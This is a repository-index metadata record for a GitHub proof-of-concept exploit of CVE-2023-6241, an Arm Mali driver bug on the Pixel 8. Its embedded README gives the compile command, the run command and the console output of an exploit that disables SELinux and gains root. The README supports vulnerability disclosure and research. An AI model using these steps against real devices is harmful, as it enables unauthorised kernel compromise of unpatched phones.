{"id":16496568,"url":"https://github.com/s1204it/cve-2023-6241","last_synced_at":"2025-03-23T13:31:42.322Z","repository":{"id":237582801,"uuid":"794812900","full_name":"s1204IT/CVE-2023-6241","owner":"s1204IT","description":"CVE-2023-6241 for Pixel 8","archived":true,"fork":false,"pushed_at":"2024-10-17T19:39:45.000Z","size":51205,"stargazers_count":10,"open_issues_count":0,"forks_count":6,"subscribers_count":2,"default_branch":"shiba-ud1a.231105.004","last_synced_at":"2025-03-15T04:52:44.410Z","etag":null,"topics":["android","android-14","arm","google","mali","pixel","pixel8","poc"],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/s1204IT.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-05-02T02:17:31.000Z","updated_at":"2025-01-21T10:38:49.000Z","dependencies_parsed_at":null,"dependency_job_id":"c970d6ed-2c1b-426a-be4d-b95039a50d33","html_url":"https://github.com/s1204IT/CVE-2023-6241","commit_stats":null,"previous_names":["s1204it/cve-2023-6241"],"tags_count":1,"template":true,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/s1204IT%2FCVE-2023-6241","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/s1204IT%2FCVE-2023-6241/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/s1204IT%2FCVE-2023-6241/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/s1204IT%2FCVE-2023-6241/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/s1204IT","download_url":"https://codeload.github.com/s1204IT/CVE-2023-6241/tar.gz/refs/heads/shiba-ud1a.231105.004","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":245108188,"owners_count":20562002,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["android","android-14","arm","google","mali","pixel","pixel8","poc"],"created_at":"2024-10-11T14:35:31.877Z","updated_at":"2025-03-23T13:31:37.304Z","avatar_url":"https://github.com/s1204IT.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"## Exploit for CVE-2023-6241\n\nThe write up can be found [here](https://github.blog/2024-03-18-gaining-kernel-code-execution-on-an-mte-enabled-pixel-8). This is a bug in the Arm Mali kernel driver that I reported in November 2023. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root.\n\nThe exploit is tested on the Google Pixel 8 with the Novmember 2023 patch (`UD1A.231105.004`). It needs to be compiled with OpenCL and linked with the OpenCL library `libGLES_mali.so`. The library can be found in a Pixel 8 device in `vendor/lib64/egl/libGLES_mali.so` and the OpenCL header files can be found in the KhronosGroup's [OpenCL-headers repository](https://github.com/KhronosGroup/OpenCL-Headers). The specific header that I used was the [v2023.04.17](https://github.com/KhronosGroup/OpenCL-Headers/releases/tag/v2023.04.17) version, although other versions should also work. For reference, I used the following command to compile with clang in ndk-26:\n\n```\nandroid-ndk-r26b/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_jit_csf.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_jit_csf\n```\n\nThe exploit needs to be linked to `libGLES_mali.so`. This can be done by setting the `LD_LIBRARY_PATH` to `/vendor/lib64/egl`. The exploit rarely fails and even if it does, it does not normally corrupt or crash the system. So in case it fails, it can be rerun. If successful, it should disable SELinux and gain root.\n\n```\nshiba:/data/local/tmp $ LD_LIBRARY_PATH=/vendor/lib64/egl ./mali_jit_csf                                     \nmali_fd 3\ncorrupted_jit_addr 6000001000\nkernel success\nkernel success\nqueue kernel\njit_grow addr 6000001000\nSize after grow: 22f6\nFinal grow size: 23c7\nkeep alive jit_addr 60023d1000\nSize after free: 21fd, trim_level 6\nwriting to gpu_va 6002301000\nfound reused page 5fffef6000, 0\npgd entry found at index 0 40000899bbc443\noverwrite addr : 5ffff00b50 b50\noverwrite addr : 5fffb00b50 b50\noverwrite addr : 5fff900b50 b50\noverwrite addr : 5ffff00714 714\noverwrite addr : 5fffb00714 714\noverwrite addr : 5fff900714 714\nresult 50\nclean up\n```\n\nWhen running the first time, the exploit sometimes stalls after printing the last `overwrite addr` message. If that happens (stalled for more than 10 seconds, though pausing for a few seconds is normal), then simply kill the exploit and rerun it. It should not stall the second time.\n\nTo test it with MTE enabled, follow [these instructions](https://outflux.net/blog/archives/2023/10/26/enable-mte-on-pixel-8/) to enable kernel MTE.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fs1204it%2Fcve-2023-6241","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fs1204it%2Fcve-2023-6241","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fs1204it%2Fcve-2023-6241/lists"}